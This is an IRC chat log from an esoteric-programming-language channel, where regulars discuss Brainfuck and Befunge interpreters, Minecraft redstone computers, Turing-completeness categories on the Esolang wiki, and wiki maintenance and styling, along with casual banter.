17:37:28 <Killer64> although notch's code is clutterfuck
17:38:49 <Taneb> #esoteric-minecraft is where we discuss Minecraft (as well as Dwarf Fortress)
17:51:12 <fizzie> I wrote an interpreter of *something* in TI-BASIC. Sadly, I don't recall what it was.
17:51:57 <fizzie> I think it was some kind of a Forthy thing.
17:51:58 <ais523> fizzie: are you the person who wrote befunge-93 interps in just about everything? or was that someone else?
17:52:19 <fizzie> I do that, but that wasn't it. (I think.)
17:53:17 <fizzie> Hey-oh, oh, hey, a new person, a new excuse to:
17:53:33 <fizzie> That was disappointing.
17:54:09 <ais523> where /is/ fungot, anyway?
17:54:23 <ais523> hmm, and should I implement a +source in thutubot?
17:54:28 -!- fungot has joined.
17:54:33 <fungot> http://git.zem.fi/fungot/blob/HEAD:/fungot.b98
17:54:51 <fungot> ais523: good point. it wasn't my fault this time
17:55:01 <ais523> is it /usually/ your fault?
17:56:51 -!- Taneb has changed nick to Ngevd.
17:57:01 <quintopia> i did a visual bf interpreter in TI-BASIC. because i had so many friends in high school...
17:57:57 <fizzie> That sounds like a good way to make some.
17:57:59 -!- Ngevd has changed nick to Taneb.
17:58:42 <fizzie> mooz wrote the nicest TI-86 Befunge-93 implementation I know of. (Though not in TI-BASIC.)
17:59:05 <fizzie> I suppose it's also the only one I know of.
17:59:40 -!- tzxn3 has joined.
17:59:49 <fizzie> But it was still nice. It had a nice bitmap view of programs in the program lister and so on.
18:01:59 <fizzie> (All non-space character cells black, rest white.)
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18:44:42 <fizzie> Not *here*, but ais523 has reportedly discussed wikithings with him.
18:44:50 <fizzie> You did notice the move was completed, right?
18:45:03 <fizzie> Speaking of Befunge and missing people, consecutively, has Vorpal been here in a while?
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18:49:27 <Killer64> im going to make a 16 cell brainfuck computer in minecraft
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18:51:34 <Phantom_Hoover> I once tried to make a BF computer in MC, but I settled for a TM-ish thing and then didn't actually finish it when I had the tape read/write and state machine parts done.
18:55:40 <Phantom_Hoover> I was doing it with a tape of transparent and opaque blocks.
18:56:39 <Phantom_Hoover> Reading consisted simply of running a wire through one column of the tape and writing used this neat little piston switcher which would swap the two in about 8 ticks.
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19:28:10 <killer64_> http://www.youtube.com/watch?v=C1LlxCD39QM
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19:46:02 <Gregor> Nobody owns matrixofsolidity.com
19:46:05 <Gregor> What is the proper solution to this problem.
19:46:34 <ais523> to register it, and put something vaguely useless there?
19:46:48 <HackEgo> 296) <treederwright> enjoy being locked in your matrix of solidity
19:47:33 <ais523> (I know the quote, ofc, but forgot the original source)
19:49:38 <killer64_> im making a brainfuck interpreter in minecraft
19:52:32 <ais523> you do need an infinite amount of redstone to do it properly, so it might take a while
19:52:39 -!- Chef_ has joined.
19:52:44 <ais523> but I suppose you could make one with a limited tape
19:54:28 -!- Chef__ has joined.
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19:57:26 <killer64_> and it will be small compared to other ones
20:04:38 <olsner> who is/was treederwright?
20:05:15 <HackEgo> 296) <treederwright> enjoy being locked in your matrix of solidity
20:05:47 <PiRSquared17> some guy who said "enjoy being locked in your matrix of solidity" and went away, never to be heard of again?
20:08:45 <ais523> PiRSquared17: pretty much
20:10:20 <PiRSquared17> http://www.google.com/search?q=enjoy+being+locked+in+your+matrix+of+solidity
20:11:28 <Gregor> `pastelogs treederwright
20:11:47 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.8693
20:11:49 <ais523> everything on Google that uses that phrase as a phrase is referencing the wiki
20:11:55 <ais523> on the first page of results, at least
20:12:18 <Gregor> http://codu.org/logs/log/_esoteric/2011-03-10#211642treederwright <--
20:12:42 <ais523> "I am just amazed at your funniness" is not a bad quote either
20:12:47 <ais523> it just pales to the subsequent one
20:13:18 <Gregor> I think roughly half of my IRC life is spent being amazed at what nicks aren't taken.
20:13:20 -!- Gregor has changed nick to Friendship.
20:13:34 <ais523> sadly, "script" was, when I tried to XSS with it
20:13:44 <ais523> I don't know why I didn't think of just writing <script> in my line
20:14:00 <olsner> "Gregor speaketh of the mystical Multiplexing. Hallowed be the concept."
20:14:28 <ais523> -NickServ- Information on Friendship (account Gregor):
20:14:36 <ais523> Friendship: you should claim that as a ponynick
20:14:54 <Friendship> ais523: I own it SOLELY so I can do this:
20:16:25 -!- tzxn3 has quit (Read error: Connection reset by peer).
20:16:29 <Friendship> Also having a conversation about my nick change back was pretty amusing in another channel. // <B-ZaR> "Friendship is now known as Gregor" who decided this
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21:05:21 <killer64> im making a brainfuck interpreter in minecraft
21:15:54 -!- oerjan has joined.
21:17:04 <oerjan> hey where's Gregor i was going to swat him for cutting off the topic
21:18:54 <oerjan> or wait, do bronies ride ponies, or is that considered animal abuse
21:19:27 <lambdabot> "--------------------------------------------------------------------------...
21:19:47 <oerjan> it's the omega swatter!
21:20:29 <Friendship> oerjan: Bronies only ride ponies with an entirely different meaning of the term "ride"
21:20:47 <oerjan> thanks for saving me the work
21:22:46 <fizzie> There was a brony article in a Finnish "real newspaper" today, I think. I can't re-find it, but I'm pretty sure I saw it.
21:23:40 * oerjan doesn't know much about bronies
21:24:18 <oerjan> some have showed up in the iwc forum
21:24:52 <oerjan> well, at least one. see some recent square root of minus garfields.
21:24:52 <fizzie> They are turning up everywhere.
21:25:36 <fizzie> I sorta-know two, I think. Though there might easily be several that I didn't know were.
21:27:47 <ais523> hey, what are people doing to TwoDucks' computational class?
21:27:57 <ais523> it used to be marked both unknown and uncomputable, now it's marked both TC and uncomputable
21:28:03 <ais523> uncomputable is a class of its own, isn't it?
21:28:20 <oerjan> you cannot be TC and uncomputable
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21:28:37 <oerjan> TC implies no _harder_ than TC as well
21:28:54 <Friendship> Oh, yes, that's what "complete" means X-P
21:29:12 <oerjan> turing hard would be more general
21:29:24 <ais523> so TwoDucks needs fixing
21:30:24 -!- mRoman has changed nick to Feuermonster.
21:30:33 -!- Feuermonster has changed nick to mRoman.
21:31:20 -!- mRoman has changed nick to romanm.
21:31:28 -!- romanm has changed nick to muentero.
21:32:00 -!- muentero has changed nick to mRoman.
21:32:21 <Friendship> Note how when I do weird /nicks, I at least stick with it for a while.
21:34:21 <ais523> you should stick with this one permanently, it's great
21:35:44 -!- oerjan has set topic: 0 days since somebody new showed up actually looking for the /right/ definition of "esoteric" | This channel now has three members who are neither from Hexham nor Finland | (And 48 who are lying scoundrels) | Best for direct log access , See httP://64.62.173.65/%49%27/.%2E/lo%67s/_esoteri%63/#THIS_IS_NOT_A_SCAM | http://esolangs.org/wiki/ has moved servers!.
21:35:55 <Friendship> Can't do much better than "Friendship", I nose.
21:36:07 <Friendship> I just am the embodiment of friendship.
21:36:13 <Friendship> That being said, fuck all you guys, I'm outta here.
21:37:14 <fizzie> Friendship is a finishing move in Mortal Kombat Something, isn't it?
21:37:37 <fizzie> One of their extensions to the "Fatality" concepts.
21:38:12 <fizzie> Among Animality and Babality and whatever.
21:38:38 <oerjan> <Taneb> Two regulars on this channel are both about the same age, live in Hexham (not a huge town), both read MS Paint Adventures and HAVE NEVER MET
21:38:38 <ais523> oerjan: do I count as neither from hexham nor finland?
21:39:09 <shachaf> Wait, who's the other regular?
21:39:28 <oerjan> ex-regular *sobs uncontrollably*
21:39:40 <shachaf> Who's the one other than elliott?
21:40:13 <shachaf> I guess the two regulars you're thinking of are Taneb and Ngevd.
21:40:32 <oerjan> i am just going to propose that they met once, right after birth, when they were accidentally swapped
21:41:05 <shachaf> oerjan: Besides, what if I live in Hexham?
21:41:27 <oerjan> ais523: are you _sure_ you're not originally from hexham
21:42:10 <oerjan> shachaf: no in your case you just have citizenship in all the places
21:42:20 <oerjan> just in hexham though, not the rest of the uk
21:42:29 <shachaf> oerjan: I don't have British citizenship. :-(
21:42:41 <oerjan> shachaf: DON'T RUIN THE JOKE
21:43:09 <shachaf> Maybe if I was born in the UK I could have four citizenships.
21:43:20 <ais523> shachaf: so what nationality are you?
21:43:37 * shachaf isn't sure what that means.
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21:47:29 <Friendship> <ais523> oerjan: do I count as neither from hexham nor finland? // LYING SCOUNDREL
21:47:54 <ais523> Friendship: how can a question be lying?
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22:09:45 <kallisti> I don't even understand the problem honestly
22:09:54 <kallisti> also I'm probably going to revise dupdog in the near future
22:10:05 <kallisti> should I rename it and create a new language or just change the old one.
22:10:22 <ais523> because existing-dupdog's TCness is an interesting unsolved problem
22:10:35 <kallisti> well this change is just a simplification of the model really
22:10:47 <kallisti> one suggestion from elliott was to change the output model
22:10:52 <oerjan> kallisti: the spec used to say that the program stopped if Shanty got an "other" character; this was lost due to an edit which was also otherwise botched.
22:10:56 <kallisti> instead of the current weirdness with bytes/decimal output
22:11:32 <oerjan> and this was also the only way to stop the program without running out of commands (which is probably _hard_ to achieve)
22:11:33 <kallisti> so mfit would output 0 and shanty would output 1, or vice versa
22:11:53 <kallisti> termination could be an issue at that point
22:12:39 <oerjan> should i fix the spec to stop like originally?
22:12:53 <kallisti> yeah that's fine. I don't remember how I worded, you can change it as you please.
22:13:22 <kallisti> "rewrite poorly written 15-year-old selfs wiki edits" is still on my todo list. :P
22:13:49 -!- Friendship has changed nick to Gregor.
22:15:07 <oerjan> kallisti: ironically your botched edit was an attempt to make things clearer :P
22:15:20 <oerjan> it just got cut off mid sentence somehow.
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22:17:01 <kallisti> maybe if I construct a time machine I can tap from the poignant writing faculties of my older wiser self at all times.
22:17:45 <kallisti> hold on while I consult future self...
22:17:47 <oerjan> just make sure you have a stuffed tiger to clean up the mess afterwards.
22:18:09 <kallisti> all calvin and hobbes references are not going to grok with my jive.
22:20:02 <kallisti> I wish there was some kind of beautiful merger between Chrome and Firefox.
22:20:37 <kallisti> I know there are Firefox extensions to capture the look and feel of Chrome, but I'm not sure that would be enough..
22:21:06 <kallisti> perfect web browser written in Haskell.
22:21:37 <kallisti> it would have the nice benefit of being multi-threaded without the profusion of OS threads like Chrome.
22:22:07 <kallisti> thus probably smaller memory footprint per thread/process/whatever why does chrome even use multiple processes?
22:22:36 <oerjan> isn't that to make it easier to kill runaway tabs
22:22:50 <kallisti> but isn't that not really an issue with threads?
22:23:14 <kallisti> most of my experience with threading comes from Haskell, where everything is nice and easy.
22:24:38 <oerjan> i don't exactly know either, it's just what i thought i read.
22:26:48 <oerjan> i was thinking, has anyone even constructed a dupdog program which we're _sure_ doesn't halt?
22:27:17 <kallisti> Taneb did a few days ago I believe
22:27:21 <kallisti> don't remember what it was. :P
22:27:50 <ais523> hmm, kallisti is so much more mature than CakeProphet
22:28:09 <kallisti> you mean the name? yes I agree.
22:28:13 <olsner> with a haskell browser, you wouldn't need processes because it couldn't crash
22:28:25 <ais523> behaviour too, you've grown up
22:28:33 <kallisti> the person at the given intervals of time? I doubt it.
22:28:38 <ais523> olsner: only if the plugins were also haskell, and avoided any unsafe action
22:28:58 <olsner> obviously it would not have plugins
22:29:28 <olsner> you can do all that flash stuff with html5 and svg and ecmascript anyway
22:31:24 <kallisti> I think, for the time being, Flash support is pretty essential for a competitive web browser.
22:32:44 <olsner> who needs competitive over perfection?
22:33:32 <olsner> oh, you thought you were going to connect it to the unwashed *internet*?
22:33:37 <olsner> the interent's not even type safe
22:33:42 <kallisti> "supports websites" is more important for a web browser than "has the technologies I like and the ones I don't like"
22:41:27 <oerjan> kallisti> Taneb did a few days ago I believe <-- what.
22:42:32 <oerjan> `pastelogs taneb.*dupdog
22:42:40 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.5749
22:44:22 <oerjan> <Taneb> damn <-- i am not sure he actually made it
22:45:05 <kallisti> I wasn't really paying much attention
22:45:12 <kallisti> that's been the general theme of my #esoteric conversations as of late. :P
22:45:39 <kallisti> probably because I've got a lot going on and such.
22:47:26 <oerjan> !!!! probably grows indefinitely, although it prints a lot of noise.
22:48:03 <oerjan> oh wait, it actually _does_ loop
22:48:33 <oerjan> printing an infinite amount of ^D's
22:57:34 <oerjan> longer loops seem trickier.
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03:06:28 <TeruFSX> so i started writing an interpreter for a language but as i did so
03:06:44 <TeruFSX> i discovered the designer apparently had not been thinking at all
03:07:00 <TeruFSX> it was supposed to be esoteric but it was just bad
03:07:55 <monqy> that's most esolangs
03:09:10 <TeruFSX> the better ones seem to be legitimately interesting though
03:40:19 <NihilistDandy> cheater_: http://leib.be/sascha/the-nil-programming-language/
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03:55:44 <Sgeo> Please kill me now.
03:55:57 <Sgeo> I am trying to tutor some idiot who was asking for homework help on Freenode.
03:56:24 * shachaf wonders whether secretly monqy = elliott.
03:56:33 <Gregor> Sgeo: Don't say that in #irp, you may not like the result.
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04:07:18 <Sgeo> Me: "Do you see any way to do an action for every edge that the vertex has?"
04:07:26 <Sgeo> Me: "Those sort of things often have names ending with do: or Do:"
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04:38:17 <augur> do you speak finnish?
04:38:22 <shachaf> I don't speak the Finnish, though. :-(
04:39:56 <PiRSquared> enjoy being locked in your matrix of solidity
04:42:32 <augur> shachaf's no fluid, thats for sure!
04:42:47 <shachaf> I feel like I was just insulted.
04:42:55 <shachaf> I'm not sure I can figure out how, though.
04:51:09 <Gregor> shachaf is a Finn who knows neither Finnish nor Swedish ... and isn't a fluid, which may or may not be a bad thing.
04:51:55 <shachaf> My Finnish passport is being shipped today/tomorrow.
04:52:31 <Gregor> What, does Finnish citizenship come free with purchase of Finn-O's cereal?
04:54:01 <Gregor> I have nothing further to add *shrugs*
04:55:00 <shachaf> Gregor: I was also drafted.
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04:55:30 <elliott> http://esolangs.org/w/index.php?title=TwoDucks&diff=prev&oldid=30309 opinions on this edit? TwoDucks' computational class /isn't/ known
04:55:42 <elliott> the problem is that we use TC to mean Turing-equivalent
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04:55:50 <elliott> and so many TC languages shouldn't have the category
04:56:03 <shachaf> THE ALAN DIPERT was in here, you know. Did you talk?
04:58:03 <shachaf> Since you started your search.
05:01:54 <Gregor> elliott: For a problem to be X-complete, it must be both X-hard and in X. If "Turing" is a computational class (all those things that can be computed on a Turing machine), then TwoDucks is certainly /not/ Turing-complete. It is only Turing-hard.
05:02:12 <Gregor> That being said, "Turing" isn't a computational class, and our use of the term "TC" is something of an esocommunity invention :)
05:03:38 <elliott> Gregor: I very much doubt our use of TC was invented by us, considering I hear it everywhere.
05:03:51 <elliott> e.g. http://c2.com/cgi/wiki?TuringComplete
05:04:01 <elliott> And people saying "lol every language is same because all TC"
05:04:30 <elliott> Gregor: But yeah, I'm thinking about renaming [[Category:Turing complete]] to [[Category:Turing equivalent]]...
05:04:45 <elliott> ISTR one of our other computational class categories is technically inaccurate too.
05:05:13 <elliott> http://esolangs.org/wiki/Category:Computational_class Hm, perhaps not
05:07:55 <elliott> Oh, this was discussed in the logs.
05:47:18 <quintopia> turing-computable is totally a computational class.
05:47:38 <quintopia> and turing-hard is totally well-defined
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06:00:05 <elliott> quintopia: Who said anything about Turing-computable?
06:00:47 <quintopia> gregor said "if 'Turing' is a computational class"
06:01:18 <quintopia> but the terms "Turing-hard" and "Turing-complete" are derived from the class Turing-computable
06:03:03 <elliott> Someone come up with a better subtitle for Esolang.
06:03:17 <elliott> I want to expurgate the existing one.
06:04:45 <quintopia> you wish you lived near this guy http://images.4chan.org/v/src/1329881702774.jpg
06:12:52 <monqy> is the subtitle even visible anywhere
06:14:29 <monqy> if title bar means what I think it means, it's not there
06:16:14 <Deewiant> <!-- subtitle --> <div id="contentSub"></div> <!-- /subtitle -->
06:16:55 <monqy> http://esolangs.org/wiki/MediaWiki:Sitesubtitle is the only place i can find it
06:18:28 <monqy> quirky in a bad way I dislike lots
06:18:30 <elliott> Deewiant: It's visible in e.g. Whatever Blue
06:18:54 <Deewiant> I'm guessing that's a different theme
06:18:54 <elliott> http://esolangs.org/w/index.php?title=Main_Page&useskin=cologneblue
06:19:13 <monqy> yikes, cologne blue
06:20:57 <monqy> site subtitle: hello
06:22:56 <monqy> it's better than weirder than you
06:29:20 <elliott> does anyone know a unicode character that looks like
06:29:27 <elliott> except it's one line splitting into two as it goes right
06:30:07 <elliott> it can be more than one line it splits into, too
06:30:14 <elliott> basically something like http://en.wikipedia.org/wiki/File:Disambig_gray.svg
06:30:42 <shachaf> You want a code point for the USB logo?
06:31:12 <shachaf> That one looks a lot like < to me.
06:31:46 <elliott> shachaf: I can't even see that.
06:31:57 <elliott> But it looks good on fileformat.info.
06:32:44 * shachaf isn't really sure what elliott is after.
06:34:33 <elliott> Something that looks like that svg. :(
06:35:20 <shachaf> I don't get what you want.
06:35:29 <elliott> http://en.wikipedia.org/wiki/File:Disambig_gray.svg
06:35:45 <shachaf> Complete with the top line being an arrow?
06:36:03 <shachaf> And three things going out from the left?
06:36:14 <elliott> No, just something that vaguely evokes the same thing as that.
06:36:21 <shachaf> That thing evokes frustration in me.
06:48:42 <itidus20> ahh i don't seem to have that symbol
06:49:16 <itidus20> i usually try ms pmincho to look at such
06:56:20 <elliott> http://esolangs.org/wiki/Special:RecentChanges LOOK AT WHAT I DO FOR YOU PEOPLE
07:02:08 <itidus20> hmm i see signifigant contributions by graue and smjg.. they should be proud of the esolangs.org
07:12:01 <Sgeo> kallisti, elliott dateup
07:12:33 <monqy> sgeo welcomes elliott back to #esoteric
07:32:45 <shachaf> elliott hath abandoned His creation and returned to that of another.
07:35:00 <kallisti> elliott: did you know that you can write Haskell programs that actually DO things?
07:35:34 <monqy> "welcome back to #esoteric" - #esoteric
07:36:17 <shachaf> Haskell programs don't do things. Things do things.
07:39:37 <elliott> kallisti: I can't write Haskell.
07:45:15 * Sgeo has been reading about Common Lisp
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08:17:53 <mRoman> elliott: What did you do?
08:19:05 <mRoman> Your last conttributions were 2008.
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08:22:03 <elliott> mRoman: Oh, I'm [[User:ehird]].
08:22:14 <elliott> I have a handful accounts for confusing historical reasons.
08:22:19 <elliott> (Namely I kept forgetting they existed.)
08:23:03 <mRoman> Is there a category for object-oriented esolangs?
08:23:27 <elliott> Yes, http://esolangs.org/wiki/Category:Object-oriented_paradigm
08:23:43 <elliott> (The main categories are listed hierarchically at http://esolangs.org/wiki/Esolang:Categorization.)
08:25:53 <elliott> I like the look of the 99 bottles of beer program in Stlang, by the way.
08:27:31 <Sgeo> Stack based hardly sounds esoteric to me >.>
08:28:06 <mRoman> Sgeo: How's stack-based AND oop?
08:29:16 <Sgeo> Is Factor considered esoteric?
08:29:19 <elliott> Sgeo: Similarly, since C is a non-esoteric imperative language, brainfuck is not esoteric.
08:29:51 <mRoman> I'd consider APL as an esoteric language, but it's not classified as such.
08:31:43 <elliott> APL is too practically-oriented to count as esoteric, I think. It would be nice if we had words to distinguish the "oddity" aspect from the "non-serious" aspect.
08:32:52 <mRoman> I actually can construct the diamond problem in Stlang
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08:48:04 <elliott> http://sprunge.us/LfHW ;; running queries directly on the database: bestest thing ever
08:49:47 <shachaf> elliott: I got this really great behavior where CapsLock both sends Esc *and* toggles lock.
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08:50:30 <shachaf> And xfce4-settings-helper and gnome-settings-daemon were running at the same time, as well as a script running xmodmap every second.
08:51:13 <mRoman> http://codepad.org/lbOQGID7 <- without overriding it's no problem (of course)
08:51:15 <shachaf> Can I make things any worse?
08:51:21 <olsner> three things applying settings simultaneously, a recipy for bestness
08:51:29 <mRoman> http://codepad.org/Fbgbt35l <- if everybody overrides everybody the last one wins.
08:52:28 <mRoman> and the classic diamond problem: The last one wins too.
08:53:49 <mRoman> If D inherits from A, I'd call it the cyclic diamond problem :D
08:59:19 <mRoman> http://codepad.org/hG4cCjJT <- like that
08:59:41 <mRoman> inherit B C should be inherit B A
09:00:00 <mRoman> but that doesn't change anything anyway.
09:05:51 <elliott> I can safely say that multiple inheritance is esoteric.
09:46:07 <elliott> new language! http://esolangs.org/wiki/Hollow
09:51:49 <mRoman> circular inheritance is way cooler.
10:08:24 <elliott> @tell fizzie Also: http://www.mediawiki.org/wiki/Parsoid
10:19:58 <fizzie> Oh no there's a flux inversion in the parsoid cascade unit.
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11:11:52 -!- oerjan has set topic: 1 days since somebody new showed up actually looking for the /right/ definition of "esoteric" | This channel now has three members who are neither from Hexham nor Finland | (And 48 who are lying scoundrels) | Best for direct log access , See httP://64.62.173.65/%49%27/.%2E/lo%67s/_esoteri%63/#THIS_IS_NOT_A_SCAM | http://esolangs.org/wiki/ has moved servers!.
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11:25:47 <elliott> oerjan: enjoy recent changes again :P
11:29:58 <oerjan> (1) regarding the subtitle, how did you _not_ consider the matrix there.
11:30:49 <oerjan> (2) maybe Category:Turing hard should be made a supercategory of Turing complete
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11:31:50 <elliott> 121 reddit comments about oleg and call/cc
11:31:55 <elliott> I predict 3 of them will be interesting or worthwhile.
11:32:19 <fizzie> Is it because of the sum of distinct digits of 121 is 3?
11:32:23 <elliott> oerjan: (1) THAT'S NOT PROFESSIONAL
11:32:34 <elliott> (2) How many pages would actually have that cat?
11:33:06 <oerjan> TwoDucks, Brainhype, Banana Scheme come to mind
11:33:37 <elliott> oerjan: ok, better question: how many articles in [[Category:Uncomputable]] /won't/ have it
11:33:57 <ais523> which category is under discussion?
11:34:11 <elliott> ais523: <oerjan> (2) maybe Category:Turing hard should be made a supercategory of Turing complete
11:34:16 <elliott> re the TwoDucks cat change
11:34:22 <ais523> also, whoa, 46 changes in my RSS feed and they aren't spam?
11:34:41 <ais523> uncomputable languages that aren't TH seem vaguely pointless
11:34:47 <ais523> although, admittedly, so does most of the stuff on the wiki
11:35:24 <elliott> ais523: even more surprising: many of them are Graue's
11:35:35 <oerjan> well Gravity hasn't been proved TH, has it?
11:35:36 <elliott> admittedly, most of them are still mine :)
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11:36:06 <elliott> ais523: hmm, only 46? there have been over 50 changes today
11:36:19 <ais523> wow, <s>=</s> looks bizarre in my feed reader's font
11:36:36 <ais523> and it's using Atom, I just think of it as RSS because it does basically the same thing, and the user-visible differences aren't visible enough
11:36:39 <oerjan> it's like relieving Graue of the stress of administration made him start to contribute again.
11:37:54 <elliott> oerjan: well he did say he's become more interested in esolangs now. but for there to be any stress related to the wiki's administration he'd have had to do something other than ignore it ;)
11:38:13 <oerjan> PROCRASTINATION CAN BE HIGHLY STRESSFUL
11:38:25 <oerjan> just ask an expert, i.e. me.
11:38:33 <elliott> oerjan: procrastination is not the same thing as being too busy to do something
11:39:10 <elliott> oerjan: I see you upgraded to IE 9.
11:40:26 <elliott> hmm, I'm not convinced Gravity is TH
11:41:13 <ais523> elliott: I'm also not convinced it isn't
11:41:19 <ais523> could be kind-of hard to work out
11:41:45 <elliott> oerjan: oh, I see your IP now ;D
11:42:00 <oerjan> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
11:42:55 <oerjan> hm it looks like Gravity is the only dubiously TH in Uncomputable
11:43:12 <elliott> Someone just came in from *facebook*.
11:44:09 <fizzie> Fortunately nobody could concievably connect pc112.ics.hut.fi with me. (There might be a proxy on the way, though.)
11:45:29 <elliott> sheesh, nobody told me about [[Special:LinkSearch]]
11:46:28 <ais523> ooh, we have special:linksearch now?
11:46:34 <ais523> I tried to use it on the old server, but it wasn't there
11:47:17 <oerjan> gah why the heck is Safalra disallowing the Web Archive?
11:48:04 <elliott> http://safalra.com/robots.txt looks like it's explicitly
11:48:23 <elliott> http://code.stephenmorley.org/robots.txt same on his new site
11:49:45 <elliott> oerjan: some people like to be able to remove content from their site permanently
11:50:08 <oerjan> <elliott> sheesh, nobody told me about [[Special:LinkSearch]] <-- yay! (assuming it's what i think it is)
11:50:47 <fizzie> oerjan: It's this golf course search tool.
11:50:50 <elliott> it lets you search for external links
11:51:09 <elliott> I was right about that reddit thread, by the way, especially as Quadrescence has a ton of comments in it.
11:51:41 <elliott> ais523: oerjan: hey, do we want <math> on the wiki?
11:51:46 <oerjan> elliott: the problem is it's the only site that would have the Gravity spec
11:52:04 <elliott> I would feel better about having to maintain PHP/MySQL software if it ran some OCaml too.
11:52:11 <oerjan> but he's removed the old file and not moved it to the new site (yet)
11:52:19 <elliott> oerjan: graue removed two links today pointing to his site too, since they were dead
11:52:24 <ais523> <math> is written in OCaml?
11:52:49 <elliott> ais523: it uses texvc, which is written in OCaml
11:53:17 <elliott> hmm, that means WikiMedia might be the largest deployer of OCaml software in the world :)
11:53:25 <elliott> *Wikimedia (how confusing...)
11:53:30 <ais523> I was about to correct that :)
11:54:06 <elliott> [[Ook!]] has spontaneously grown an esco infection
11:54:51 <oerjan> <elliott> oerjan: some people like to be able to remove content from their site permanently <-- when i become world dictator i'll make that punishable by death. retroactively.
11:55:02 <elliott> oerjan: http://code.stephenmorley.org/about-this-site/contact/
11:56:30 <ais523> oerjan: how can you kill someone retroactively?
11:57:11 <oerjan> ais523: i mean the time of the crime, not the punishment. unless i perfect my time machine first.
11:58:14 <oerjan> on the other hand outlawing time machines seems like a good policy for a world dictator.
12:00:15 <elliott> oerjan: ENJOYING YOUR RECENT CHANGES?
12:02:16 <oerjan> no, i am being stressed by nagging people.
12:02:40 <fizzie> Another future punishable-by-death offence?
12:02:58 <oerjan> elliott: wait, is there supposed to be some general change?
12:04:15 <oerjan> elliott: while there is a lot of content, i am not seeing any change particular to the recent changes _itself_
12:04:52 <oerjan> which makes me wonder why you are going on about it.
12:05:16 <oerjan> fizzie: no, nothing as pleasant as death.
12:06:28 <elliott> oerjan: good, because it hasn't changed
12:06:35 <elliott> oerjan: i'm just taunting you because of how many changes there are :P
12:09:08 <elliott> I note that my question REMAINS UNANSWERED.
12:09:47 <elliott> fizzie: That Grasp thing is very fancy.
12:10:51 <oerjan> <math> is good, i think.
12:11:42 <elliott> (I wondered about adding it because http://esolangs.org/wiki/Polynomial is very ugly.)
12:13:49 <elliott> ais523: wow, ClueBot NG on Wikipedia is apparently based entirely on a neural network
12:14:17 <ais523> "neural networks" in AI probably aren't much like the way you envisage them
12:14:33 <ais523> it's basically just a way of tweaking weightings of various factors
12:14:42 <ais523> it's not like it's parsing the individual words, or anything like that
12:15:35 <elliott> the description on the page just makes it sound like "we throw a neural network at the problem and it's solved" :P
12:15:58 <elliott> (the main bot page is more descriptive)
12:16:05 <oerjan> that's what the neural network _wants_ you to think.
12:16:10 <elliott> "C / C++ — The core is written in C/C++ from scratch."
12:20:25 <elliott> Need to get 107 MB of archives.
12:20:26 <elliott> After this operation, 212 MB of additional disk space will be used.
12:22:58 <elliott> oerjan: hm maybe i should integrate mathjax instead
12:23:39 <elliott> that would avoid the server overhead, and probably render nicer.
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12:30:29 <oerjan> a fine number, if the oddest of the primes
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12:31:10 <fizzie> elliott: I needs to clean it up some day; it was suggested to get rid of the somewhat silly "multi-field nodes" thing, and just go with an edge-labeled graph of simple nodes; I mostly agree, it'd be cleaner but essentially equivalent. Though I have some slight residual affection towards those things I drew.
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12:36:47 <elliott> fizzie: Aw, but they're so pretty.
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12:37:55 <fizzie> I also have a half-finished Grasp editor written in C# (using Gtk#, I think) that shows the structured nodes like that, sorta-autohiding empty bits and whatnot. Would be a shame to lose all that.
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12:44:11 <elliott> fizzie: C# is an... interesting chocie.
12:45:12 <fizzie> Yes, I think I was having some sort of a thing.
12:46:35 * oerjan notes that <code> inside wikitable looks a bit weird
12:47:13 <oerjan> because both change the background color
12:48:18 <oerjan> and not to the same one
12:49:17 <elliott> oerjan: yes, i noticed that
12:58:12 <elliott> well a hacky way would be changing the <code>s to <code style="background: inherit"> i think
13:00:07 <Deewiant> table.wikitable * { background: blaa }
13:00:23 <Deewiant> I'm not sure how the override rules go
13:00:52 <Deewiant> You can always do p > code or something to set it for the default case
13:01:46 <elliott> Deewiant: That's a bit of a sledgehammery approach
13:01:53 <elliott> For instance that probably breaks the external link icon.
13:02:12 <Deewiant> Well, s/\*/code/ if you just want that
13:02:24 <Deewiant> But like said, I'm not sure if it overrides plain code {} or not
13:05:22 <ais523> the override should probably be on table.wikitable td > code
13:05:54 <ais523> on the basis that if you're putting more complex stuff in the table cells, you probably want the background contract
13:06:02 <oerjan> oh hm the color is only different for the darkest wikitable parts
13:06:12 <Deewiant> What if you have th cells? :-P
13:06:24 <Deewiant> And note that IIRC > isn't supported by IE 6, if anybody cares
13:08:14 <elliott> oerjan: you mean the <th>s, presumably
13:08:26 <elliott> the ths on [[malbolge]] are presumably the topic here
13:08:35 <elliott> Deewiant: Does Vector even support IE 6?
13:09:01 <oerjan> elliott: well that's where i noticed it first, anyway
13:12:26 <fizzie> "Probabilities are no longer finite" is one of the nicest error messages.
13:12:33 <fizzie> Those are some pretty dubious probabilities there.
13:13:26 <elliott> fizzie: You need a special drive for those.
13:14:33 <fizzie> I think the "non-finite probabilities" it's speaking about are in fact NaNs, which is perhaps even worse. They're not even numbers anymore.
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13:15:07 <elliott> ais523: if subpages are turned on for a namespace, would the name "///" still work in that namespace?
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13:15:42 <ais523> elliott: it would probably be interpreted as a subpage if there were a page called /, and possibly also if there were a page called //
13:15:54 <ais523> subpages don't change which names are legal, just whether you get breadcrumb links pointing back
13:15:58 <elliott> right, but assuming there aren't :)
13:16:23 <elliott> hmm... http://sprunge.us/OYEP
13:16:46 <elliott> two of those should clearly be deleted or moved (the Sandbox ones)
13:17:01 <elliott> http://esolangs.org/wiki/W/ this is ridiculous; any objections to deletion?
13:17:26 <ais523> it was clearly just created to stop spambots creating it
13:17:31 <ais523> so you may as well desalt it
13:17:42 <elliott> (cur | prev) 22:55, 20 March 2011 Iconmaster (Talk | contribs | block) (78 bytes) (It's been popular recently, it deserves a mention.)
13:17:49 <elliott> it's just a reference to the /w/s spambots like to put in page titles
13:17:50 <ais523> it's offtopic, at least
13:17:55 <elliott> see e.g. Brainfuck/w/index.php?title=Talk:Brainfuck/index.php
13:18:03 <ais523> and that's probably a good reason to delete it
13:18:06 <elliott> meh, you delete it, i've deleted like ten things today already :P
13:18:22 <elliott> gotta distribute the blame!!!
13:19:05 <fizzie> Lovely how the alignment of the right-side |s breaks down with multibyte characters.
13:20:40 <elliott> I think turning on subpages for the main namespace would be a mistake
13:20:46 <elliott> because it just encourages people to put programs on the wiki
